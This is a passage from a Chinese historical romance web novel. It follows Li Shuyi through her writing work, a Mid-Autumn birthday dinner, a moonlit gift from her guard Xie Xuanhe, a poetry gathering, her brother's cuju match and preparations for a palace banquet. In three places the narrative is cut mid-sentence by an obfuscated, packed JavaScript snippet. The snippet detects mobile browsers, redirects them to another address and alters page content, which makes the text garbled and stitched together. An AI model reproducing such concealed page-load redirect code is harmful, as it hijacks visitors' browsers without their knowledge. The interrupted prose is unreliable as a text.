记录虽已经整理好了,但是在下笔之前,她还需要考虑如何将这段去社郡的见闻融进话本里,将手杵在书案上,她咬着笔头冥思苦想。 基于这起豪强侵地贪污案如今举国轰动,因此她不能将亲身经历原封不动地写下来,毕竟现在时机尚不成熟,还不到揭开面纱的时候,她不想让故事与现实联系得过于紧密。 斟酌良久,她最终决定把侧重点放到水患上面,化社郡为子郡,化李振益为张弘利,开始真假掺和着编排情节,最后的构思如下: 故事中,子郡发生了二十年难得一遇的洪灾,因为此地与乌犍相距不远,姚家父子便被派前去支援,身为下属的辛君赫自然也一同前往。 此时,距离辛君赫投军已有半年,这半年发生了很多事,外敌几次骚扰乌犍皆未能突破城门,姚荐辕因守城有功,受到皇帝的嘉奖,从都尉晋升为定远将军,辛君赫也因表现出众,晋升为振威校尉。 最重要的是,姚远卓在与萧礼相处的过程中,发现了他与自己昔日的好兄弟辛君赫许多行为习惯一模一样,经过多次观察试探,两方最终相认了。 之后,辛君赫又向世伯姚荐辕坦白了身份,并表明了自己要复仇的愿望,姚荐辕听后惊异非常,想到世交的惨死,他决定助重生而来的世侄复仇。 再然后,辛君赫便将自己私下探查的情况与两人交流了一番,剖析了检举者张弘利因利益而实施诬告,以及他背后定然有人在指使,而自己已经得到了他许多贪污受贿的罪证,接下来打算从他入手,抽丝剥茧找到幕后主使。 当听到朝廷派遣支援子郡抗洪救灾的调令时,三人便决定借此机会铲除张弘利,并引出幕后主使现身。 到子郡以后,他们通力配合,在赈灾的过程中,一面调查张弘利,一面给皇帝写信,列举他的累累罪行,请求调兵许可。 他们双管齐下,终于取得张弘利贪腐的账本,成功将他定罪抓捕了。 因这件贪污赈灾银两的案件震惊全国,姚家父子和辛君赫都立了大功,姚荐辕升镇军大将军,姚远卓升宣威将军,辛君赫升游骑将军,三人得以从边地调回京城。 将情节在草稿纸上粗略梳理了一番,黎书意终于点墨起笔。 天朗气清,秋阳醇厚柔润,吹进窗户的清风带着独属于秋的凉爽。 安静地写了一个半时辰,门外兰亭轻扣门扉,向她报说:“二姑娘,富春姑姑找您。” “进来吧。”她搁下笔。 门打开,富春姑姑走进屋中,行了一礼后叙说起来:“是这样,二姑娘,再过几天便是中秋了,厨房那边需要确认中秋家宴的菜单,以及送至各府礼饼的规格。” 听见这话,黎书意才恍然想起来,中秋就快到了,时间过得可真快。 紧接着,她思索起姑姑的问题来,虽说每年都过中秋,完全可以照以往的惯例来安排,但是她不喜欢一成不变,沉吟了一会,她从旁拿过一张白纸,开始书写菜单。 人一多起来,便得考虑饮食习惯,这样才不至于出现让人无从下筷的情况,她回想着亲人们的口味和禁忌,一道道写着。 将写好的菜单递与姑姑,她继续斟酌礼饼的问题。父亲是当朝大将军,逢年过节与朝中众臣,以及城中贵族的人情往来是必不可少的,如今母亲不在了,这份责任便落到了她身上。 忖度片刻,她道:“份例依旧是四枚,去年厨房做的流心奶黄月饼反馈很好,今年便一盒里放两枚,另两枚便放玫瑰豆沙、金丝枣莲蓉的。” 关于包装,节日在即,这时候再准备已然来不及了,想了想便说:“我记得去年母亲预备了两套包装,最后选用的是花好月圆那套,今年便用另外那套玉兔的包装吧。” “是。”富春姑姑应声,然后转身离开。 …… 八月十五,中秋节至。 清晨,天色微明,将军府的仆从便忙开了,他们有的打扫庭院,有的结饰台榭,而最为热闹的当属大厨房,厨子们开皮、拌馅、熬浆、烘焙,晌午时候月饼的香味便从内飘散出来。 黎横天作为一营将帅,巨杨营里许多将士并非本地人,通常这一天他都在营中犒劳将士,直到晚间方才归家。 黎长策尚在学馆中,和同窗的往来同样必不可少,一早便出门了。 黎书意虽无应酬,但也没有闲着,作为家里的小主人,她在庭院与厨房之间来回巡视,确认每件事都尽善尽美。 申时,五十余份礼饼装盒完成,小厮纷纷提着礼盒小心出府送礼,同时将军府门房处不时收到各家送来的回礼。 在一堆华美包装的礼盒中,黎书意拣走了林府送来的那一份,每年送到她家的都是林静仪亲手做的。 当瑰丽的晚霞渐渐消散,夜幕慢慢笼罩之时,黎书意穿过厅堂步入尚姜院。 庭院的亭子中早设了两张大圆桌,左边的那张已经摆上了新鲜的西瓜、苹果、李子、葡萄和月饼,右边的那张则还空着,正等着螃蟹、乳鸽、鳜鱼等佳肴美馔送上来。 黎书意坐在亭子里,不多时叔母来了,两人一面吹着秋夜清风说些闲话,一面等待着男丁归家团聚。 黎长策最先回的家,他手里提着好几份礼盒,当菜开始上桌的时候黎横天和黎裕也回来了,中秋家宴就此开始。 满月当空,银辉泄地,伴着影影绰绰的灯盏,院子里几乎亮如白昼,五人伴着月色,一边用晚膳一边话家常。 宴至尾声,一小碗长寿面端到了黎书意面前,对于将军府来说,中秋不止是中秋,这一日还是她的生辰。 因吃长寿面是每年的惯例,所以她先前刻意控制进食,此时肚子里尚有富余。 “小妹,生辰快乐!”黎长策说着从一堆礼盒里拿出其中一个来,然后打开摆到妹妹面前。 黎书意垂眸望向盒中,见里头装着一只螺旋纹雕刻的翡翠手镯,手镯在月光照耀下,翠水欲滴,浮光流转。 接着,黎横天让沥泉从自己房里拿出一个长木箱,向着女儿说道:“这琴是蔡师花费两年心血所造,音色清润,你应当会喜欢。” 黎书意期待地打开箱子,古琴是桐木制伏羲式的,琴身造型秀雅,漆色细腻,她确实很喜欢。 最后,黎裕夫妇送上了一个精巧的白玉蟾蜍望月摆件。 收下亲人们的祝福与礼物,依次道了谢,黎书意将面前的那一小碗面吃完。 饭毕,下人们入亭撤盘,他们则挪到另一张桌子上,一面闲聊一面赏月,差不多到戌时了,这场家宴才散场。 与父兄、叔父叔母们道了别,黎书意回到自己院中。 进入卧房,她遣走了兰亭,借口说自己有些腹胀,想坐一会再自行梳洗。 快二更天了,这已经晚于她一贯下榻的时辰,然而她却全无困意,坐到窗边,她望着圆月发呆。 中秋家宴虽欢乐,却缺少了关键的一人,长寿面虽味美,却并非记忆里母亲的味道,看着天上皎皎明月,她想起了母亲,想起了上一个中秋。 因去岁的今日她刚满十五,所以那天的将军府格外的热闹,孟章城中与父母交好的世家贵族都来观礼,母亲作为一府主母,身着盛装迎接宾客,主持仪式。 在众宾的见证下,黎书意行及笄之礼,钗礼结束后,她穿着母亲亲手缝制的大红色曲裾,跪拜于双亲跟前。 每逢佳节倍思亲,自母亲因疫病猝然离世以后,她无数次体味到这种痛苦。 走到镜台前,她从首饰盒里拿出镂空云凤纹金簪和金累丝嵌宝牡丹鬓钗,然后簪在了头上,装做母亲还陪伴在身边。 在某一瞬间,她忽然想起了谢烜赫,如今的他已失双亲,在这样一个团聚之夜,该是如何的难熬。 似乎从家宴开始前,便没见过他了,带上林静仪亲手做的月饼,她走出房门。 天上皓月朗照,光亮似乎较回来时更甚了,院子里十分敞亮。 扫了一眼寂静的小院,黎书意转身朝左走,刚走没几步,见月门有一条细长阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545694|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影正徐徐向前。 她停下脚步,看着阴影穿破洞门,月光照亮了他,来的人是谢烜赫。 来找她的吗?她唇角微扬,想不到他们还挺有默契。待人行至跟前,她开口:“正准备去找你。” “找我?” 谢烜赫声音微有诧异,她直接将盒子往前一递,“给你送月饼。” “厨房下午已经送过了。” 闻言,她心说那能一样吗,给侍卫的份例自然不比给他们的,再说了,她送月饼也只是想找他说话的借口罢了。 想毕,到底解释一句:“这可是静仪亲手做的,我破例分你一枚。” 说完,听见头顶传来一声短促的轻笑。 她难为情的轻咳一声,旋即岔开话题问:“那你找我何事?” 该不会正如她想的那般,这人因为今夜思亲,倍感孤独,所以来找她说话。 “给你送礼物。” 礼物?黎书意诧异地看着眼前的人,见他朝自己递来一样东西,将目光挪到他微向前伸着的手上,借着月辉,黎书意看清了他手里握着一个方方正正的木匣子。 是喔,今日是她的生辰嘛,刚刚才收了父兄的礼物,怎么就给忘了。 “谢谢。”黎书意道谢接过。 接着,她在他的注视下打开了盒子,盒子里装着一方砚台,即便是在夜晚,也依旧能看出其纹理绮丽,泽若美玉。 在孟章求学的日子里,谢烜赫每年都有给她送生辰礼,连着这份,她统共收了三份礼物。 头年,谢烜赫送了她一份金累丝凤凰头面,上面镶嵌着宝石和珍珠,雕镂的凤凰、蝴蝶和花朵精致美观,栩栩如生。 打开礼物的瞬间,她就喜欢得不得了,可是基于他曾不止一次在宴会上露出对她盛装打扮的不屑表情,她觉得他送她这份礼物是嘲笑,像在说:看看吧,我就知道你喜欢这些华美的饰品。 第二年,谢烜赫送了她几本书,它们是几位丹霄出色女文人的新作,那时他才得知她在写书没多久,是以她觉得他送她这份礼物是威胁,像在说:我知道你的秘密。 所以,尽管谢烜赫送的每一份礼物她都很满意,可是却从未动过,收到后便让兰亭给放到库房了。 现在,黎书意看着手里新收到的这方砚台,这回她决定不再让它在犄角旮旯里落灰了,她含笑真诚说道:“我会好好用的。” 夜空晴朗,星月闪烁,少女俯仰间,云鬓上斜插的嵌宝金钗在银辉的照耀下流光溢彩。 谢烜赫刚才就注意到了,少女眼下戴的头饰并非白日所戴的那一套,她现在的钗冠是她去年笄礼时候用的。 那一日,谢烜赫作为宾客之一,见证了整个仪式。 初加发笄,他看着她穿着淡绿色采衣,模样宛如童年初见时那粉装玉琢、灵动活泼的小女孩。 二加发簪,他看着她换上粉色曲裾,模样宛如城门口再见时那俏丽若三月春桃豆蔻年华的少女。 三加钗冠,他看着她身披华美隆重的红色大长袖曲裾步入正堂,她长相明艳,配上艳色服饰和华贵珠宝半点不显庸俗,如同一朵绽放的牡丹,美得摄魂夺魄。 礼成接受宾客祝贺的那一幕深深刻在他脑海里,所以谢烜赫对那身装扮很熟悉。 只是,今日她戴这发饰恐怕不是为了回味笄礼,而是思念彼时尚在的母亲。 “想你母亲了?”他问。 少女闻言默了默,旋即仰头反问他:“你呢,不想吗?” “这种时候很难没有感触。”说着,他在少女旁边坐下。 下一刻,少女将饼盒往他面前一递道:“那咱们两个同病相怜的人不如一起说说话。” “嗯。”他点头,顺势从饼盒里拿起一枚月饼。 少女接着拿起了最后一枚,笑着对他送上祝福:“中秋安康!” “中秋安康!”他对上那双月牙一样弯弯的眼睛,轻声回道。 然后两人便有一句没一句聊起来,直到三更了,才起身告别,各自归屋。 36. 蹴鞠 中秋节结束,黎书意紧赶慢赶写了十来日,总算将这半旬的书稿和画稿完成了。 因成天待在书房里写字作画,她感觉身心疲乏,所以一从任务里挣脱,便想着要好好放松一下,毕竟从社郡回来之后她就没休息过。 于是,在家中闲了一个下午,第二日午间她便出门了。作为侍卫,为了保护她的安全,谢烜赫自然一道跟着去了。 这回,黎书意没有逛衣裳、胭脂铺,而是去了鹤阳阁。 鹤阳阁位于繁华街市的中心,楼高七层,屋顶飞檐翘角,仿若展翅欲飞的仙鹤。 它是前朝武文王所建,因这位王爷喜交友宴客,遂盖了这样一栋楼,他在世时常邀文人墨客在这此地宴饮游乐,作诗行令。 虽然武文王已经身死,王朝也更替了,但是后期还是常有诗人慕名而来,慢慢地,这里便成了文人的殿堂,如今被称为西景第一楼。 和先人们一样,西景的文士常聚集于此,这里每月都会举行诗会,这月的恰好就在今日。 黎书意登石阶经抱厦入阁,穿过前堂进到一楼大厅,抬眼横扫,见戏台上空无一人,台下观众席上坐了三十多名男子,显然诗会还未开始。 早是这里的熟客,她直接上二楼进了惯常待的雅间,向伙计要了一碟西瓜和一碟果干,然后在桌边坐下,也示意谢烜赫和兰亭坐下。 透过窗子望向大厅,她打量着那三十余名男子,他们当中既有勋贵子弟,也有寒门布衣,既有不及弱冠的青年,也有将近花甲的老者,有几张面孔她相当熟悉,比如她的老板苏或雍。 “铛铛铛!”台侧的铜锣被敲响,主事者走上台去,宣布首轮游戏是斗诗,以抽签决定诗题目。 言毕,他从木箱里抽出一张纸条,一面展开示众,一面道:“请以花字为题目作七言律。” 很快,众文人按坐次顺序开始作诗,有的咏梅,有的诵菊,有的清新,有的浓烈,每作完一首,阁中议论蜂起,大家各抒己见。 黎书意也想与同伴交流一番,可瞥一眼同坐的两人,便知不可能,兰亭目前才学诗不久,文学造诣不够,品谈就是在为难她,谢烜赫的文学造诣是够了,可是这与他所扮演的身份不一致。 从第一名到最后一名,差不多持续了一个时辰,经过四位评审的点评,最后是苏或雍拿下了第一名。 结果宣布完,一群抱着乐器的乐人和穿着绿色纱衣的舞姬走到台上,紧接着丝竹管弦声响起,舞姬也开始甩袖而舞。 在那群歌姬的中间,是一名穿青衫的女子,她面容娇媚,纤腰楚楚,正踏着细碎的舞步,如轻云般曼舞,这是楼里近半年来声名鹊起的舞姬,名唤阮玎瑶。 诗赏过了,舞看过了,桌上的瓜果点心也用得差不多了,黎书意起身离开雅间。 她没有马上就走,而是让谢烜赫去一楼偏厅,那里售有每月的诗集,在谢烜赫拿诗集的时候她便和兰亭站在不远处等待。 正百无聊赖地欣赏堂中新换的书画挂屏,耳旁飘进来不和谐的声音,旁边过道里有一男一女正在争吵。 听见动静,她好奇地瞥过头去,发现争吵的女子竟然是适才在台上跳舞的阮玎瑶,而另一名男子她也认识,他是丞相梁甫的小儿子,梁祖昂。 对这个人,黎书意一向没甚好感,与他那十全十美的兄长相反,梁祖昂在孟章恶名远扬,他不学无术,整日只知道斗鸡走狗,流连于秦楼楚馆之间,如今连他的父亲都已经放弃他了。 只听见梁祖昂柔声哀求道:“瑶瑶,再给我点钱吧。” “我没有。”阮玎瑶偏头拒绝了。 梁祖昂见状一改刚才的温柔语气,口内威胁道:“你不给,我就把我们的事说出去。” 这话明显让阮玎瑶慌了神,犹豫了片刻,她从怀里掏了张银票出来。 看见银票,梁祖昂双眼泛光,他伸手将银票一把抢过,瞧了瞧面额,不满道:“怎么才五十两。” “我只有这么多了。” “好吧。”梁祖昂最终勉强收了。 黎书意皱眉旁观,想这舞姬当是被这人渣缠上了。 看争执已经结束了,她准备转头,却忽见苏先生出现在过道里,他看了看阮玎瑶,又看了看梁祖昂,质问道:“你对她做了什么?” 梁祖昂瞥了他一眼,露出轻视的神色,挑衅道:“怎么,你想英雄救美?” 听了这话,黎书意的目光在苏或雍和阮玎瑶两人身上流转,立刻恍然大悟了。 难怪苏先生最近写的诗词不是红豆、青鸟、鸳鸯等歌颂爱情的,便是桃花、荷花、月亮等赞美女子的,原来竟是春心萌动了呀,只是看情况似乎不太乐观。 “你在看什么?”心下正唏嘘,低沉的声音打断了她的感慨。 她闻声转头,见谢烜赫已经拿着册子走了过来。 “没什么。”她回道,说到底这是人家的私事,尽管有些关心,但是她不便插手,最后还是走了。 回到家,她拿着书坐到榻上,让兰亭泡了一壶菊花茶,便歪坐着一边品茶一边赏诗,直看到小厨房开始传饭了,才搁下书本移步到食案边。 这两日她都是独自一人用饭的,原本之前有一半是和兄长一起吃的,可最近他回家的次数越发少了,如今已经快九月了,他结业在即,要忙的事太多。 隔天,兄长终于回来,一见着她便问:“大后日有没有空,去看我蹴鞠比赛?” 这话提醒了她,她想起来每年九月初,在乡射大礼之前,会在弘学馆举行蹴鞠比赛。 “去,这可是你的最后一场比赛,我怎能缺席。”她欣然应邀。 很快,蹴鞠比赛日到了。 因比赛日中便开始了,所以吃过午膳黎书意便准备起来,虽然已是深秋,可午间还是很热,挑了身轻便的襦裙,她走出家门踏上了马车。 到弘学馆,她下车一看,马厩里停了不少马车。 鞠城在学馆东侧,下车后她开始步行,路上不时碰见三五成群的学子,像每次来时一样,她投以羡慕的一瞥,然后收回目光继续往行。 她也想像他们一样,课堂上,在庄严的讲堂里听经师授四书五经,下学了,在馆中寻一个好地方,互相探讨所学知识,被拘久了,与同窗好友外出,或是打牙祭,或是逛书铺,可是她没有这样的机会。 甚至,因为是教学重地,她连来这里都受到了严格的限制,每年也就这么几回,一半是看望兄长,一半是在活动上。 活动指的自然就是射礼,作为亲眷,她们被邀请参加,对此她既痛恨又珍惜。 走了一刻钟,她终于走到了鞠城。 鞠城宽敞,一分为二,稍大的一半是围场,场地是一块长而正的绿草坪,四面设有短墙。 另一半则是观赏大殿,此时大殿最前排早就支起了锦棚,长案上也备好了新鲜的水果和点心,那是帝后和宗亲们的位置。 后面几排布置的规格稍次,但点心瓜果也是一应俱全,再后面便是普通的位置,更后面则是没有座位的站台。 此时,每个区域都零散地坐了一些人。黎书意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545695|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在第三排坐下,兰亭和谢烜赫在她两侧站立随侍。 围场上只零星有几个人,他们正在布置场地,大殿陆陆续续有人入席,不多时姜伯母与林静仪也来了,母女俩在她左侧落座。 紧接着长公主与平王及其家眷也先后到场了。又候了一刻钟,帝后带着长长的队伍姗姗来迟,等在场的臣民隆重行礼后,众人重新落座,比赛即将开始。 正式开赛前,首先是蹴鞠舞表演,由弘学馆和太学两方各派二十位学子参加,两支队伍在鼓乐伴奏下分别进行了足踢、膝顶、单足停鞠等招式,就像是杂耍表演一样,颇具兴味。 待热身赛过了,便是正式的对抗蹴鞠,弘学馆学子和太学学子按年级比赛。 首先是一年生,大家都年轻气盛,冲劲十足,一开场两方就展现出了强烈的进攻欲,可能因为太学生中有许多学子接触蹴鞠的时日不长,在经验、技术和心理素质等方面要逊于弘学馆的学子,几次因为紧张、失误或者对规则的不熟悉而陷于劣势,最后便输掉了比赛。 然后是二年生,双方实力差距不那么大,但太学生在团队配合方面要明显优于弘学馆,他们抓住弘学馆的失误进行反击得分,最终以微弱的优势取得胜利。 终于到了三年生。 父亲是武将,兄长继承他的优点,从小习武,对骑马、射击和蹴鞠兴趣浓厚,这也都是他的强项。 在围猎、蹴鞠和马球运动中,黎书意从来都是她兄长的拥趸,看到兄长身着紫色蹴鞠服入场,她脸上露出了笑意。 随着哨响,蹴鞠在空中划出一道美丽的弧线,比赛拉开帷幕。 两支三年生的队伍如同离弦的箭一般,迅速地奔跑起来,他们的身影在草地上穿梭。 凭借着敏捷的身手,兄长率先抢到了球,他带着球,在球场上左冲右突,向着对方的球门疾驰而去。 谢煜然亦是反应迅速,依靠着多年来培养出的默契,他与兄长相互配合,化解对方攻势,紧逼对方防线,再接到兄长的传球后,他没有丝毫迟疑,直接起脚射门。 赛场上的角逐十分精彩,兄长与谢煜然配合默契,看着弘学馆进了第一个球,黎书意和林静仪齐拍手喝彩。 一场比赛如果一方实力过弱,便不够有看点,只有双方势均力敌,比赛才够好看,这一场比赛显然比方才的那两场都要精彩。 到中后期,比赛进入白热化阶段,双方的比分你追我赶,尽管弘学馆的球员们拼尽了全力,但是在太学的球员们的强大攻势下,也显得有些力不从心。 就在这时,太学的前锋犹如一阵疾风,快速突破了弘学馆的防线,他带着球,风驰电掣般地冲向弘学馆这方的球门。 兄长和谢煜然见状急忙回防,试图阻止他前进,然而,他的速度实在太快了,两人根本来不及阻拦。 只见那前锋一脚大力射门,蹴鞠直朝着弘学馆的球门呼啸而来,弘学馆的守门员虽迅速做出了反应,飞身扑向那个球,可是那球最终还是从身侧划过,狠狠砸进了球门。 看台上的太学生及其亲友大力呼喊,他们这边则满是叹气声。 尽管惋惜,但是发生这样的情况并不算意外,毕竟去年兄长、谢烜赫和谢煜然这三位密友齐上场了,他们这一方打得也依旧有些吃力。 而如今,对方的出赛阵容和去年的一样,可他们这边少了谢烜赫这一员猛将,难免会落于下风。 提起去年的比赛,黎书意必须得说那是她看过最振奋人心的蹴鞠比赛了,让她这个不喜跑跑跳跳的人也想要上场。 37. 取悦 那一日,观赛大殿上观者云集,沸反盈天,鞠场里你追我赶,角逐激烈。 赛至中场,情况和现在相似,双方比分咬得很紧,气氛紧张到了极点。 彼时,正值对方球员控球前行之际,谢烜赫目光如炬,紧紧盯着那滚动的蹴鞠,伺机等候着。 在对方稍有松懈的瞬间,他犹如离弦的箭冲了出去,脚下生风,以极快的速度和精准的判断,干净利落地夺下了蹴鞠。 他稳稳地控制着圆球,稍作调整以后,眼神迅速扫向队友的位置,见谢煜然正在不远处积极跑动,两人目光一对,谢烜赫毫不犹豫地起脚传球,蹴鞠在空中划出一道优美的弧线,准确地朝着谢煜然飞去。 谢煜然见状,立刻调整步伐,接下这关键的传球,球一传到谢煜然这边,他便带着球灵活地穿梭于对方球员之间。 对方球员急忙围堵过来,试图将球抢走,但谢煜然临危不乱,他一个漂亮的假动作,轻松晃过了一名防守球员。 而她的兄长黎长策也开始迅速跑位,两人默契地对视一眼,下一刻谢煜然一脚精准的传球,蹴鞠快速飞向兄长,兄长稳稳地接住球。 兄长带着球继续向前突进,凭借着出色的技术和强大的身体素质,他强行突破了对手的防线。最后,在距离球门不远的地方,一脚大力射门。 三人之间的配合行云流水,让人惊叹不已,赢球的那一刻,黎书意忘记了在外保要持闺秀形象,激动得从座位上弹起,在那里与林静仪握手跺脚,用身体表达着自己的喜悦。 做黎长策的妹妹,是一件很自豪的事。不过,她必须得说,那一场比赛里最出彩的当属谢烜赫。 他穿着轻便利落的蹴鞠服,动作灵活而敏捷,如同草原上的狼,面对太学生球员的围追堵截毫不畏惧,时而巧妙地转身,时而快速地变向,将对方球员耍得团团转。 那高束起的黑亮长发随动作在风里飘摆,那挺拔颀长的身躯沐浴在秋阳下,通身张扬的少年意气,让人望之赞叹。 “啊!”欢呼声在耳边炸开,将黎书意从回忆里唤出,她的注意力回到眼前正进行的较量之上。 只见谢煜然抓住机会,一脚劲射,蹴鞠直挂球门死角,对方守门员虽然奋力扑救,但还是没能阻止蹴鞠入网,见比分追回,她欣喜地鼓掌。 “啊!”鞠城里热烈的尖叫此起彼伏,一片喧闹声之中,谢烜赫垂眸望向身前情绪激动的少女,顺着她的目光,他看到了围场中央正在击掌的黎长策和谢煜然。 是因为弘学馆队赢球而高兴,还是因为进球的是谢煜然而高兴,又或者两者都有。 心像是被针扎了一下,传来刺痛感,他忽然想起去年自己做的蠢事。 那日,赛场也如这般热闹,少女和她的母亲一道坐在观赛席上,她身上穿着蓝色袖襦,配一条红粉间色下裙,在人群里格外打眼。 二年生比赛时,踢球途中谢烜赫的目光总是不自觉落到那一抹粉蓝色身影之上,尽管因为隔着一段距离,他听不见她的声音,可是她的神情他却是能看清的。 他看见她在他们错失良机或是被夺球时的惋惜,他看见她在他们抢球成功或是进球时的喜悦,那表情灵动可爱,笑颜如花绽放。 既是比赛,谢烜赫自然是在乎输赢的,不过远未到要用尽全力的地步,毕竟这只是一场友谊赛罢了。 然而,因为想要多看看少女灿烂的笑脸,所以后续过程中他越来越认真。 不止是他,她的兄长、她的情郎也都在努力践行开赛前的承诺,想将胜利送给她,三人一个赛一个的专注。 最后,他们毫无悬念赢下了比赛,而观赛大殿里的少女果然绽开了喜悦的笑容。 当他们退场时,她第一时间下场迎上前来向他们表示祝贺,这让他觉得一切都值得。 正当他感到满足时,见谢煜然主动向少女讨要夸赞,看着少女与身旁的堂兄言笑晏晏,他的心极速由热转凉,同时升起一股酸楚。 有的人可以轻易得到夸赞,譬如她的兄长,还有她的情郎,有的人则不可能,譬如不受待见的他。 弘学馆与太学生三年生的这场较量,两队无论是蹴鞠水平、战术运用,还是团队配合上,都难分伯仲,比赛最终以平局告终。 …… 清晨,洗漱毕,黎书意走出房间,仲秋的晨阳温和醇厚,院落里秋色宜人。 “走吧!”她侧头对兰亭轻唤道。 话落,两人顺廊而走,刚走到院外没几步,碰见了迎面而来的谢烜赫。 谢烜赫扫一眼提着竹篮的兰亭,问黎书意:“二姑娘这是要去哪?” “哦,左右没事,我听富春姑姑说后面探芳园里的葡萄结得很好,打算亲自去摘。”黎书意答言,说毕继续朝前走。 最后,三人一起去了探芳园。 园中秋意深浓,菊花竞相绽放,黄叶在金风中飘舞,空气里是桂花淡雅的香气。 黎书意径直往西面走,葡萄架靠近墙壁,架上葡萄藤蜿蜒而上,叶子层层叠叠,叶片之间葡萄一串串垂落而下,犹如紫色宝石,璀璨琳琅。 “啪!”谢烜赫将刚从空屋里拿出来的椅子放在藤架旁,然后站在椅子边看护,等待着少女踏上椅子摘葡萄。 兰亭也不甘落后,抱了篮子站在另一侧,做好接果实的准备。 黎书意从篮子里拿出剪刀,攀着谢烜赫的臂膀站到椅子上,她视线往面前一扫,挑了一串最饱满好看的,然后左手小心托着葡萄,再动右手用剪刀一夹。 少女身姿轻盈地站在木椅上,裙摆和墨发随风飘动,眼神专注而明亮,比她所摘的葡萄更加晶莹璀璨,嘴上噙着浅笑,脸上是怡然自得的表情。 谢烜赫知道,黎书意一向是一个能学会玩,懂得享受生活的人。 正看着,少女忽然转向他,将刚夹好的那串葡萄递了过来,“你先试试甜不甜?” 他愣了一下,随即从葡萄串上摘下一粒放入嘴中,然后咬破,清甜的汁水瞬间在口中爆开,咽下去以后,他向等待着答案的人回道:“很甜。” 黎书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545696|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意当然知道是甜的,也就是为了让他吃才说试试这样的话,看人吃了,她将葡萄串放入篮中,然后转头继续摘葡萄。 她认真地挑选着,看准了便伸出剪刀,接着再小心地剪下,最后轻轻放入兰亭抬着的篮子里。 正摘着,富春姑姑走入院中,黎书意见了忙道:“姑姑也拿一串尝尝?” 富春姑姑走到木架边,嘴角向上扬起,笑说道:“二姑娘,天元来了。” “天元姑姑来了?”闻言,黎书意停下手上的动作,扫见面前缀满硕果的葡萄藤,想想也是时候了。 将新夹下的葡萄放到篮子里,她把剪刀递给兰亭,然后在谢烜赫的搀扶下站到了地面上。 再向篮子里一扫,见几乎装平了,这些量足够往父亲、兄长、叔父、谢烜赫还有她自己那里各摆一盘了,便拍拍手道:“走吧。” 于是,四人一起离开了探芳园。 回到载驰院,黎书意吩咐院中的丫头将葡萄清洗后送去各院,自己则进屋洗手换衣服去了,等打理好仪容,她紧接着去了前院。 天元姑姑和富春姑姑一样,是母亲的陪嫁丫头,两人忠诚且细心,无论管理与统筹能力,还是处事应变能力都很出色,是母亲的左右手。 母亲在世时,家中一切打整得井井有条,当初她骤然离开,田庄那头欺负自己年纪小,还不能管事,年末来上交地租时就有些糊弄,是以,次年她便委派天元姑姑去管理田庄事务。 到了前院,见天元姑姑站在院子里,身边堆放着一袋袋粮食和一堆箩筐,见她来了,天元姑姑脸上绽开笑容,忙迎过来道:“见过二姑娘。” 黎书意也笑问:“姑姑赶路辛苦了,这几月可还好?” “劳二姑娘挂心,老仆很好。” 黎书意听后微微颔首,随即目光扫向庭院中的那一堆农作物,虽然数量看起来不少,实际上却远不及前些年丰收。 发现她的注视,天元姑姑面露愧色道:“二姑娘,枉您信任,是老仆办事不力,今年收成只这些。” 黎书意摇摇头说:“近两年灾害频发,这非你之过错,再说有几亩地种了鲜花和药材,已经比去岁要好上许多了。” 听了她的话,天元姑姑欣慰地笑了,递上一张长长的单子,她接过单子,招呼着姑姑进前厅中坐下,接着便细细看起单子来。 单子上主要是粮食和蔬果,像家禽动物之类的一般都是年尾再送过来,看过以后,她将单子递给富春姑姑,让她去核对。 然后,她打发一个丫头去清芙阁,叫舒凌寒明日上府,最后便和天元姑姑叙起闲话。 次日午后,舒凌寒来了,带上了账本和新品口脂与头油。 黎书意收下东西,待看完近两月的账目,她请天元姑姑到书房来,三人聚在一起商讨来年计划,根据产量情况进行调整,看哪些地种粮食,哪些地种花更合适。 她们一直聊到傍晚才歇口,留在院里用过了晚饭,舒凌寒告辞离开,天元姑姑则在府上住了几日,最后也回庄上去了。 38. 宫宴 隔天,黎书意收到了一封帖子,皇后邀请命妇贵女去同庆园赏菊。 那日,皇帝会在同庆园献衷殿宴请朝臣,宴请的主要对象是弘学馆和太学那批刚刚结业的学子,为的是迎接这批刚踏入仕途的新鲜栋梁。 皇后估计就是搭了这个便车,想出了在临殿宴请命妇与贵女的点子。 既是宫宴,黎书意自然不敢怠慢,用完午膳没多久她便准备起来了,坐到镜台前,她为自己穿什么而困扰。 以前她喜欢参加宴会,因而每回出门必精心打扮,可近一年来,在经历了这许多事之后,她对参加这些活动有些倦了。 宴上贵女云集,她没有心力加入争奇斗艳的行列,只是毕竟是皇后设的宴,打扮得太随意了又怕引皇后不满,毕竟皇后本就对她颇有微词。 最后,她想着中规中矩就好,挑来挑去,选了一件白色袖襦和紫黄间色下裙。 